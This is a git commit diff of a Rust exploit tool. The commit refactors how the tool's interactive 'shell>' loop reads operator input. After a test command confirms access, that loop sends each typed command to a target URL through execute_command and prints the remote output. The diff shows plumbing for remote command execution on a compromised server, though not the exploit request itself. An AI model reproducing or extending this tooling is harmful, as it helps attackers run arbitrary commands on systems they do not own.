Refactor stdin reading for command input

This commit is contained in:
S.B
2026-02-06 16:58:22 +02:00
committed by GitHub
parent 8a035a2f5b
commit e04c08e8d5
+10 -6
View File
@@ -34,7 +34,7 @@ use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use chrono::Local;
use std::io::BufRead;
const DEFAULT_TIMEOUT_SECS: u64 = 30;
const BOUNDARY: &str = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
@@ -678,19 +678,23 @@ async fn interactive_shell(client: &Client, url: &str, config: &ExploitConfig) -
let username = test_result.command_output.as_ref().map(|s| s.trim().to_string()).unwrap_or_else(|| "unknown".to_string());
println!("[+] Connected as {}", username);
let stdin = std::io::stdin();
let mut reader = stdin.lock();
let mut line = String::new();
loop {
print!("shell> ");
std::io::stdout().flush()?;
line.clear();
if reader.read_line(&mut line).is_err() { break; }
let cmd = line.trim();
let cmd = {
if stdin.read_line(&mut line).is_err() { break; }
line.trim().to_string()
};
if cmd == "exit" { break; }
if !cmd.is_empty() {
match execute_command(client, url, cmd, config).await {
match execute_command(client, url, &cmd, config).await {
Ok(res) => if let Some(out) = res.command_output { println!("{}", out); },
Err(e) => println!("Error: {}", e),
}
@@ -835,4 +839,4 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
}
}